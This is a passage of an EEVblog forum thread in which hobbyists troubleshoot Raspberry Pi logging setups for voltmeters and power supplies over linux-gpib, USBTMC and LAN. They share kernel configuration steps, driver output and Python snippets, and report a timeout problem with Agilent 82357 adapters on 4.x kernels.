  • Regular Contributor
  • *
  • Posts: 140
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #154 on: December 20, 2016, 10:12:37 am »
@plesa
What's your take on the f2fs? It's a major PITA that you cannot change the fs size.
Apparently in in f2fs-tools_1.7.0-1_amd64 for Ubuntu there is a resize.f2fs command. Sadly that's not available in the Ubuntu Mate for RPI, the f2fs-tools is only ver 1.6 there.
I'll try to install Ubuntu in a VM and check it...
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #155 on: December 20, 2016, 01:08:34 pm »
F2FS v1.7 source could be compiled on the raspberry pi.   

Dwaine
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #156 on: December 20, 2016, 04:13:17 pm »

@Bingo600
Thanks for contacting Dave Penkler. I just buid linux GPIB with debug enabled.
I can ship one RPi3 to him if needed.

@Plesa

Dave has ordered a v3

And i am currently testing w. a powered usb-hub , as per Daves request - Same result.

I have been testing w. Agilent & Beiming , and sent v3 (bad) debug output to him.

Now i'm building w. debug on my v1 (Wheezy) , to send debug (good) to him

/Bingo
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2280
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #157 on: December 21, 2016, 12:18:57 am »
@FrankBuss - or any siglent power supply user

I use following sequence to initialise the thing.

siglent = usbtmc.Instrument("USB::0x0483::0x7540::INSTR")
siglent.clear()
time.sleep(0.1)
siglent.write("*IDN?")
time.sleep(0.1)
print (siglent.read())
time.sleep(0.1)

This works 100% for me, I have a complicate process working for days and programming the V of power supply every second without any problem.
Only when you stop the program sometime the power supply don't work at first connection, in this case just stop python program and start again (or maybe just close USBTMC connection and reopen).

Thanks, this workaround works for me, too. Strange, because I thought I had this issue fixed by changing the ask function itself, maybe the file was compiled or cached or something and not used. So no immediate need to add the USBTMC kernel driver, if it introduces other problems, but still useful for using USBTMC devices outside of Python scripts.

This could be a problem if someone wants to implement a general instrument class. Needs to be a wrapper around the "ask" function (which should be available for scripts), with quirk implementations for Siglent devices.

This come out from some Siglent firmware developer comment on some support request.
It's not driver but this Siglent power supply firmware that has this problem.

Did they say anything about if they plan to fix it? It would make the instrument really more useful, if the USBTMC communication is reliable.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 667
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #158 on: December 21, 2016, 01:03:34 am »
@FrankBuss - or any siglent power supply user

I use following sequence to initialise the thing.

siglent = usbtmc.Instrument("USB::0x0483::0x7540::INSTR")
siglent.clear()
time.sleep(0.1)
siglent.write("*IDN?")
time.sleep(0.1)
print (siglent.read())
time.sleep(0.1)

This works 100% for me, I have a complicate process working for days and programming the V of power supply every second without any problem.
Only when you stop the program sometime the power supply don't work at first connection, in this case just stop python program and start again (or maybe just close USBTMC connection and reopen).

Thanks, this workaround works for me, too. Strange, because I thought I had this issue fixed by changing the ask function itself, maybe the file was compiled or cached or something and not used. So no immediate need to add the USBTMC kernel driver, if it introduces other problems, but still useful for using USBTMC devices outside of Python scripts.

This could be a problem if someone wants to implement a general instrument class. Needs to be a wrapper around the "ask" function (which should be available for scripts), with quirk implementations for Siglent devices.

This come out from some Siglent firmware developer comment on some support request.
It's not driver but this Siglent power supply firmware that has this problem.

Did they say anything about if they plan to fix it? It would make the instrument really more useful, if the USBTMC communication is reliable.
No, I read this in some unofficial forum. I have last firmware installed and this is fair old version. I think funds for fixing bugs are longer finished.

Anyway with this workaround it works great. I'm running days and days without a single problem.

Inviato dal mio Nexus 6P utilizzando Tapatalk

 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #159 on: December 21, 2016, 07:17:03 pm »
Just noticed that the "Jessie" has the raspbian.org kernels in there

I did a 
Code: [Select]
sudo apt-get install linux-image-rpi2-rpfv
Added to end of /boot/config.txt
Code: [Select]
# Set params for "raspbian debian-style kernel" boot
 #kernel=vmlinuz-3.18.0-trunk-rpi
 #initramfs initrd.img-3.18.0-trunk-rpi followkernel
 #
kernel=vmlinuz-4.4.0-1-rpi2
initramfs initrd.img-4.4.0-1-rpi2 followkernel
 #

Code: [Select]
reboot
And
Code: [Select]
sudo apt-get install linux-headers-rpi2-rpfv

Rebuilt linux-gpib , and tested wo. any luck

Still err 14  :'( :'(

Edit: Corrected the followkernel

This was done on a Raspi v3 , and boots ok

/Bingo
« Last Edit: December 23, 2016, 07:17:51 am by bingo600 »
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #160 on: December 21, 2016, 10:52:28 pm »
I have the Bosh BMP085 python and web html finished.   Another sensor people can use.....  FrankBuss, I'll submit a pull request later on....

http://99.232.17.239/BMP085_Logs.html
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #161 on: December 27, 2016, 01:43:05 pm »
I tried RPI image on my Pi3 with BME.

Working well OOB, NI USB-GPIB-HS is ok too, but clone fake Agilent pot is no go, err 14 timeout, but instrument itself does go into REM/TALK.
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #162 on: December 27, 2016, 03:00:17 pm »
I tried RPI image on my Pi3 with BME.

Working well OOB, NI USB-GPIB-HS is ok too, but clone fake Agilent pot is no go, err 14 timeout, but instrument itself does go into REM/TALK.

Hi TiN,

thanks for feedback. Issue related to to 82357B is known with current kernel 4.4.36 (38)  and has been also found on 4.9 on Raspbian.
Currently are working only HI GPIB USB HS/NI GPIB USB B adapters and also the E5810A/E5810B.
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #163 on: December 30, 2016, 12:14:14 am »
During testing encoutered issues with RPi3 and genuine NI-GPIB HS adapter, after 30min-3h there is timeout on bus. Redo gpib_config not help and disconnecting NI GPIB HS adapter is needed.
TiN reported similar issue.
Strange is that RPI2 can work on same testsetup for multiple weeks. On setup is more than 60% of instruments on ( recommendation for GPIB is >50%)
dmesg reports following:
Code: [Select]
[10622.506326] /opt/linux-gpib/drivers/gpib/ni_usb/ni_usb_gpib.c: usb_control_msg returned -110
[10623.506303] ni_usb_nonblocking_send_bulk_msg: killed urb due to timeout
[10623.506336] /opt/linux-gpib/drivers/gpib/ni_usb/ni_usb_gpib.c: ni_usb_line_status: ni_usb_send_bulk_msg returned -110, bytes_written=0, i=8
[10624.506337] /opt/linux-gpib/drivers/gpib/ni_usb/ni_usb_gpib.c: usb_control_msg returned -110
[10625.506351] ni_usb_nonblocking_send_bulk_msg: killed urb due to timeout

Also ordered 3.5" LCD for displaying data ( BME280, DS18S20) and actual readout from instruments.
« Last Edit: December 30, 2016, 01:14:18 am by plesa »
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #164 on: December 30, 2016, 02:44:38 am »
I had the pi3 die on me when I was sampling the three devices once per second.  I tried both USB and LAN, with the same results.  After 3-6 hours the pi3 would be locked up. 

I switched the polling from one second to every 5 seconds.  I'm stress test all three devices now and the pi3 is good so far.

I also looked at the CPU usage during the lockups, and it barely touched 10%.
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #165 on: December 30, 2016, 03:14:37 am »
I had the pi3 die on me when I was sampling the three devices once per second.  I tried both USB and LAN, with the same results.  After 3-6 hours the pi3 would be locked up. 

I switched the polling from one second to every 5 seconds.  I'm stress test all three devices now and the pi3 is good so far.

I also looked at the CPU usage during the lockups, and it barely touched 10%.

What GPIB adapter you used for USB and what for LAN?
Which kernel or image you used, the LogNutv2 or official Raspbian? Can you post the dmesg output?
It should not be related to CPU usage, RPi2 is is 900Mhz and RPi3 is 1.2GHz.

I prepared another new RPi3 for test, also the E5810 will be tested.
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #166 on: December 30, 2016, 03:33:15 am »
I'm using the standard lognutv2 image with an updated kernel and firmware.   No GPIB connection just raw USB connection,  serial connect direct and direct TCP/IP LAN.  I'll reset the same condition and test again.  This time I'll see what dmesg has to say.   

During the lockup, I could not even ssh into the pi3. 
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #167 on: December 30, 2016, 03:41:57 am »
I'm using the standard lognutv2 image with an updated kernel and firmware.   No GPIB connection just raw USB connection,  serial connect direct and direct TCP/IP LAN.  I'll reset the same condition and test again.  This time I'll see what dmesg has to say.   

During the lockup, I could not even ssh into the pi3.

OK, clear. So it looks like something different. Because issue seems to be related to USB/GPIB interface.
I have no problem with logging using Agiletnt L4411A over USB/LAN.
Which instrument you are using?
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #168 on: December 30, 2016, 09:03:22 am »
Dave P is asking for the .config output from a working setup (Wheezy)
EDIT: It's the kernel config
See
https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1102438/#msg1102438



I'm not home for the next days, and my working Raspi v1 - with Wheezy is not online.

Does anyone have (or can build) a Raspi v1 or v2, with linux gpib working on an Agilent/Beiming adapter (Old wheezy kernel)

Build instructions
https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1093160/#msg1093160

/Bingo
« Last Edit: December 30, 2016, 12:16:19 pm by bingo600 »
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 265
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #169 on: December 30, 2016, 09:28:48 am »
I'm using the standard lognutv2 image with an updated kernel and firmware.   No GPIB connection just raw USB connection,  serial connect direct and direct TCP/IP LAN.  I'll reset the same condition and test again.  This time I'll see what dmesg has to say.   

During the lockup, I could not even ssh into the pi3.

OK, clear. So it looks like something different. Because issue seems to be related to USB/GPIB interface.
I have no problem with logging using Agiletnt L4411A over USB/LAN.
Which instrument you are using?

Rigol DM3068
Keysight U1272a
BMP085 Sensor

Maybe since I was logging all three devices with 1 second updates, I ran out of memory as the CSV files grew.  So far now, I'm running all three devices with a read every 5 seconds.  Been running over a day now.

I actually have the second display working and plotting for the Keysight U1272a. 
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #170 on: December 30, 2016, 11:14:22 am »
I'll try to find my Pi1 and get wheezy up to get file/dumps.
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #171 on: December 30, 2016, 12:14:02 pm »
I'll try to find my Pi1 and get wheezy up to get file/dumps.

Thanx TiN

I think i misunderstood Dave.

He asks for
Quote
The .config file from rom the kernel source directory.
AFAICT the USB is not part of the device tree - which is why I want to check the kernel config between Jessie and wheezie.

I suppose the .config might be included in the "header files"

/Bingo
 

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 358
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #172 on: December 31, 2016, 01:21:22 am »
Not enough place :D (RPi 2 B+,7" LCD, Agilent 82357B, Bluetooth kbrd and mouse )
It's not working for now with Agilent 82357B, but it's only few minutes from start. (tuning is in progress) :)
Funny moment's with this keyboard (it is shit) :D (how to put the #? ou yes ctrl + alt + u and 23 )

« Last Edit: December 31, 2016, 01:28:42 am by BFX »
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #173 on: December 31, 2016, 01:33:24 am »
Not enough place :D (RPi 2 B+,7" LCD, Agilent 82357B, Bluetooth kbrd and mouse )
It's not working for now with Agilent 82357B, but it's only few minutes from start. (tuning is in progress) :)
Funny moment's with this keyboard (it is shit) :D (how to put the #? ou yes ctrl + alt + u and 23 )

82357B is not working, but we hope it will be fixed soon.
Maybe you can try to use different adapter like http://egirland.blogspot.cz/2014/03/arduino-uno-as-usb-to-gpib-controller.html
 
The following users thanked this post: Dwaine

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #174 on: December 31, 2016, 06:27:04 am »
Not enough place :D (RPi 2 B+,7" LCD, Agilent 82357B, Bluetooth kbrd and mouse )
It's not working for now with Agilent 82357B, but it's only few minutes from start. (tuning is in progress) :)
Funny moment's with this keyboard (it is shit) :D (how to put the #? ou yes ctrl + alt + u and 23 )

That message seems more like one or both of these:

1: gpib_config has not been run, after the adapter initialization.
2: User has no access to /dev/gpib0  - Do a : sudo chmod 666 /dev/gpib*

What does a lsusb say ?

What does a uname -a say ?

/Bingo
 

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 358
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #175 on: December 31, 2016, 07:57:34 am »
Not enough place :D (RPi 2 B+,7" LCD, Agilent 82357B, Bluetooth kbrd and mouse )
It's not working for now with Agilent 82357B, but it's only few minutes from start. (tuning is in progress) :)
Funny moment's with this keyboard (it is shit) :D (how to put the #? ou yes ctrl + alt + u and 23 )

That message seems more like one or both of these:

1: gpib_config has not been run, after the adapter initialization.
2: User has no access to /dev/gpib0  - Do a : sudo chmod 666 /dev/gpib*

What does a lsusb say ?

What does a uname -a say ?

/Bingo

thx for hints :-+
there is no gpib in dev

 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #176 on: December 31, 2016, 09:14:13 am »
Not enough place :D (RPi 2 B+,7" LCD, Agilent 82357B, Bluetooth kbrd and mouse )
It's not working for now with Agilent 82357B, but it's only few minutes from start. (tuning is in progress) :)
Funny moment's with this keyboard (it is shit) :D (how to put the #? ou yes ctrl + alt + u and 23 )

That message seems more like one or both of these:

1: gpib_config has not been run, after the adapter initialization.
2: User has no access to /dev/gpib0  - Do a : sudo chmod 666 /dev/gpib*

What does a lsusb say ?

What does a uname -a say ?

/Bingo

thx for hints :-+
there is no gpib in dev

You do not have firmware in device loaded. With loaded FW PID will be not 518 but 718. But anyway, this interface is not currently working. You needs to use USBTMC, VXI
 or another proven adapters like NI GPIB USB HS, NI GPIB USB B, E5810 A/B.
« Last Edit: December 31, 2016, 09:19:27 am by plesa »
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #177 on: December 31, 2016, 10:50:54 am »

thx for hints :-+
there is no gpib in dev

As Plesa says , you need to load the firmware twice.

And have you loaded the kernel module module ?

You should see this

Quote
If "lsmod |grep agilent" shows these two lines:
pi@pi3:~ $ lsmod |grep agilent
agilent_82357a         18039  0
gpib_common            31540  1 agilent_82357a

If not , what does : sudo modprobe agilent_82357a           say ?

Does the lsmod show the module loaded after this ??

/Bingo
 

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 358
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #178 on: December 31, 2016, 12:25:19 pm »
Thank you guys  8)
@plesa : are you sure that this doesn't work at all? I have original one.

After loading firmware twice I got gpib0-15 in dev.
And on the adapter Access and Ready lights to green, but also Fail led is on (red). See pictures.

Code: [Select]
pi@raspberrypi:~ $ lsmod |grep agilent
agilent_82357a         18039  0
gpib_common            31540  1 agilent_82357a

result of lsmod



« Last Edit: December 31, 2016, 12:27:29 pm by BFX »
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #179 on: December 31, 2016, 12:27:18 pm »
What lsusb and modprobe results? :)
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 358
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #180 on: December 31, 2016, 12:28:28 pm »
pi@raspberrypi:~ $ lsmod |grep agilent
agilent_82357a         18039  0
gpib_common            31540  1 agilent_82357a

Code: [Select]
pi@raspberrypi:~ $ modprobe agilent_82357a
pi@raspberrypi:~ $ lsmod
Module                  Size  Used by
agilent_82357a         18039  0
gpib_common            31540  1 agilent_82357a
bnep                   10340  2
8192cu                560049  0
cfg80211              427855  1 8192cu
btusb                  27628  0
btrtl                   3667  1 btusb
btintel                 6167  1 btusb
btbcm                   5929  1 btusb
bluetooth             326105  24 bnep,btbcm,btrtl,btusb,btintel
rfkill                 16037  4 cfg80211,bluetooth
evdev                  11396  2
joydev                  9024  0
snd_bcm2835            20447  1
snd_pcm                75762  1 snd_bcm2835
snd_timer              19288  1 snd_pcm
snd                    51908  5 snd_bcm2835,snd_timer,snd_pcm
bcm2835_gpiomem         3040  0
i2c_bcm2708             4834  0
bcm2835_wdt             3225  0
rpi_ft5406              3986  0
rpi_backlight           2064  0
uio_pdrv_genirq         3164  0
uio                     8000  1 uio_pdrv_genirq
i2c_dev                 5859  0
fuse                   84037  3
ipv6                  347594  56
pi@raspberrypi:~ $

« Last Edit: December 31, 2016, 12:32:19 pm by BFX »
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #181 on: December 31, 2016, 12:32:30 pm »
:) I meant separately :)

Did you run gpib_config? Show us your /etc/gpib.conf, make us not guess :)
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #182 on: December 31, 2016, 12:35:20 pm »
pi@raspberrypi:~ $ lsmod |grep agilent
agilent_82357a         18039  0
gpib_common            31540  1 agilent_82357a
Once again, this adapter is not working with Linux-GPIB and recent kernels 4.4 -4.9.Does not matter if it is clone or genuine ( I have Keysight genuine version and clone)
When solution will be ready Bingo600 or me will inform in this thread.
Maybe you can be successful with Arduino adapter.
« Last Edit: December 31, 2016, 12:37:20 pm by plesa »
 

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 358
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #183 on: December 31, 2016, 12:41:43 pm »
:) I meant separately :)

Did you run gpib_config? Show us your /etc/gpib.conf, make us not guess :)
No :) but there is no section for agilent_82357a
Have you an example?
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #184 on: December 31, 2016, 12:46:09 pm »
I heard these guys at xDevs have a guide. But listed procedure there works only on Pi with kernels 3.8.xx
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 
The following users thanked this post: CalMachine

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #185 on: December 31, 2016, 12:50:51 pm »
I heard these guys at xDevs have a guide. But listed procedure there works only on Pi with kernels 3.8.xx
@TiN
 ;) Promoting


Re Error:
If the read light are on , you either missed some of the firmware stuff , or you haven't run gpib_config after loading the fw.
Or maybe have an invalid (unadapted) /etc/gpib.conf file.
See
https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/msg964579/#msg964579


My guess - gpib_config or gpib.conf  related.

Do you have the /dev/gpib* devices now ??
Make sure to chmod 666 them , or as a test run as root


/Bingo
« Last Edit: December 31, 2016, 12:57:20 pm by bingo600 »
 
The following users thanked this post: CalMachine

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 358
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #186 on: December 31, 2016, 12:56:29 pm »
Ok I update gpib.conf and run and red light is gone  8)

Code: [Select]
pi@raspberrypi:~ $ sudo nano /etc/gpib.conf
pi@raspberrypi:~ $ sudo gpib_config
pi@raspberrypi:~ $


Now only ready is green  :-+

I tried to run some test but  failed :(
Code: [Select]
Traceback (most recent call last):
  File "/pub/python/Test_GPIB.py", line 5, in <module>
    instr.write("*IDN?")
  File "/usr/local/lib/python2.7/dist-packages/Gpib.py", line 49, in write
    gpib.write(self.id, str)
GpibError: write() failed: An attempt to write command bytes to the bus has timed out.

Should be that my 34401A is not configured properly?
Address is OK. And after test 34401 is frozen only some underscores are in place of digits.


« Last Edit: December 31, 2016, 01:12:03 pm by BFX »
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #187 on: December 31, 2016, 01:41:13 pm »
Everything is OK with your 34401, it's just you end up in same state as everyone else here are :)
Meter is "frozen" because it's in remote mode. Press local button to warm it back to normal.
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 358
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #188 on: December 31, 2016, 01:54:52 pm »
Everything is OK with your 34401, it's just you end up in same state as everyone else here are :)
Meter is "frozen" because it's in remote mode. Press local button to warm it back to normal.

Thank you for words of encouragement :D
Do you know roughly where is the problem? Is it only for 34401 or it's common problem of 82357a?

 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #189 on: December 31, 2016, 01:57:44 pm »
Common problem with 82357A/Bs + linux-gpib + kernels 4.x.x series.
Something in linux kernel headers or kernel itself got change from 3.8->4.x which caused these agilent pods (real ones and fakes) to timeout on any gpib operation.
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 358
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #190 on: December 31, 2016, 02:21:20 pm »
Common problem with 82357A/Bs + linux-gpib + kernels 4.x.x series.
Something in linux kernel headers or kernel itself got change from 3.8->4.x which caused these agilent pods (real ones and fakes) to timeout on any gpib operation.

Thx for explanation. It means at 3.8 it's working fine, sure?
I'm not familiar with linux too much, but maybe compare the changes 3.8->4.x would do the business :)
Well I think It's time to try 3.8 for my solution, till here some experts solve this problem  :box:
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #191 on: December 31, 2016, 02:47:45 pm »
Common problem with 82357A/Bs + linux-gpib + kernels 4.x.x series.
Something in linux kernel headers or kernel itself got change from 3.8->4.x which caused these agilent pods (real ones and fakes) to timeout on any gpib operation.

Thx for explanation. It means at 3.8 it's working fine, sure?
I'm not familiar with linux too much, but maybe compare the changes 3.8->4.x would do the business :)
Well I think It's time to try 3.8 for my solution, till here some experts solve this problem  :box:

Note that kernel 3.8 (Wheezy) won't work on a RasPI v3 , you need a v1 or v2

We're  working with the linux-gpib maintainer to find the problem on the 4.x.x kernels (Jessie)

/Bingo
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 404
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #192 on: December 31, 2016, 06:01:03 pm »
I received my RPi earlier this week!  I was able do successfully install the V2 of the rpi lognut image and booted up.  RPi and Linux is brand new to me, so it's a bit overwhelming :palm:.  I figured having experience with Arduino and PICs that RPi would come somewhat easily.... well I was wrong.  :scared:

I've yet to test any GPIB instrument connections.  I've got a genuine HP 82357B and NI GPIB-USB-HS to use... although it seems like the HP 82357B is having issues with the current iteration the RPi kernel?
« Last Edit: December 31, 2016, 06:15:06 pm by CalMachine »
All your volts are belong to me
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #193 on: December 31, 2016, 06:54:50 pm »
I received my RPi earlier this week!  I was able do successfully install the V2 of the rpi lognut image and booted up.  RPi and Linux is brand new to me, so it's a bit overwhelming :palm:.  I figured having experience with Arduino and PICs that RPi would come somewhat easily.... well I was wrong.  :scared:

I've yet to test any GPIB instrument connections.  I've got a genuine HP 82357B and NI GPIB-USB-HS to use... although it seems like the HP 82357B is having issues with the current iteration the RPi kernel?

It is easy. 82357B is not working and image is set for NI GPIB HS. On image is /pub directory shared over samba (you can connect as network drive from another machine and edit webpage and scripts).
There is running webserver, so just check in you browser ( webserver use the /pub/www directory ). There are few basic scripts for test and also for logging (3458A,K2001,3441xA, 34401A and for enviromet BME_log.py).
All these scripts  log are plotted on website.
 

Online TheSteve

  • Supporter
  • ****
  • Posts: 3011
  • Country: ca
  • GHz
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #194 on: December 31, 2016, 07:00:50 pm »
Kernel 4.x still works with the 82357x but only if you're using an original raspberry pi.
With kernel "Linux gpib 4.4.0-1-rpi #1 Debian 4.4.6-1+rpi14 (2016-05-05) armv6l GNU/Linux" and an original model B pi I've never lost communication with my 3458A using an original 82357B.
I set this up using TiN's howto on xdevs. The image that does graphing and has a web server would be a lot more fun though.
VE7FM
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 404
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #195 on: December 31, 2016, 10:41:49 pm »
I'm trying to run the 3458A Log script in python.  There were a few nonsensical syntax errors that I needed to fix, but after that, it's just stating

ImportError:  No module named 'Gpib'.

I've checked my lsub and it shows my NI usb-gpib.
All your volts are belong to me
 

Offline VintageNut

  • Frequent Contributor
  • **
  • Posts: 521
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #196 on: December 31, 2016, 11:32:50 pm »
I'm trying to run the 3458A Log script in python.  There were a few nonsensical syntax errors that I needed to fix, but after that, it's just stating

ImportError:  No module named 'Gpib'.

I've checked my lsub and it shows my NI usb-gpib.

You can type in python commands from the command prompt one at a time when you are trying something for the first time. That allows you to see which statement is throwing the error.

Does your Gpib module have a .py extension?
working instruments :Keithley 260,261,2750,7708, 2000 (calibrated), 2015, 236, 237, 238, 147, 220,  Rigol DG1032  PAR Model 128 Lock-In amplifier, Fluke 332A, Gen Res 4107 KVD, 4107D KVD, Fluke 731B X2 (calibrated), Fluke 5450A (calibrated)
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #197 on: December 31, 2016, 11:36:28 pm »
I'm trying to run the 3458A Log script in python.  There were a few nonsensical syntax errors that I needed to fix, but after that, it's just stating

ImportError:  No module named 'Gpib'.

I've checked my lsub and it shows my NI usb-gpib.
Run sudo gpib_config and after that execute scripts.
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 404
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #198 on: January 01, 2017, 12:06:44 am »
I'm trying to run the 3458A Log script in python.  There were a few nonsensical syntax errors that I needed to fix, but after that, it's just stating

ImportError:  No module named 'Gpib'.

I've checked my lsub and it shows my NI usb-gpib.
Run sudo gpib_config and after that execute scripts.

Was finally able to execute the scripts in the IDLE and I don't think that is what I was looking for.  Moving on.. lol.  So, I just accessed the webserver and am looking at the real time data log tests.  This data I'm looking at can't be mine right?  I haven't initiated any logs yet.


I'm trying to run the 3458A Log script in python.  There were a few nonsensical syntax errors that I needed to fix, but after that, it's just stating

ImportError:  No module named 'Gpib'.

I've checked my lsub and it shows my NI usb-gpib.

You can type in python commands from the command prompt one at a time when you are trying something for the first time. That allows you to see which statement is throwing the error.

Does your Gpib module have a .py extension?

I am not sure.  I was just trying to run the provided script in the Python IDLE.




*Edit   Alright sorry for the hassle.  I Think I've figured it out and kind of wrapped my head around how to go about interfacing RPi remotely.  I've been able to connect with putty and control it with my laptop and started logging!  Atleast I think I did.  Can't do much in the command prompt after I executed the script... but my 3458A went into remote mode.
« Last Edit: January 01, 2017, 12:34:00 am by CalMachine »
All your volts are belong to me
 

Online TheSteve

  • Supporter
  • ****
  • Posts: 3011
  • Country: ca
  • GHz
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #199 on: January 01, 2017, 01:06:37 am »
